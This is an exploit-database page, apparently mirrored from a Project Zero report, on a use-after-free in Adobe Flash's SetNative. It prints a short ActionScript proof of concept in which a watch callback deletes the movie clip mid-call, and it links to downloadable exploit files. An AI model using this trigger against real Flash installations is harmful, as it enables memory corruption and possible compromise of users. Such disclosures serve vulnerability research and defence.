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Adobe Flash - SetNative Use-After-Free
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800
There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:
var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
function func (){
t.removeMovieClip();
}
A swf and fla are attached.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39831.zip
# 0day.today [2024-12-29] #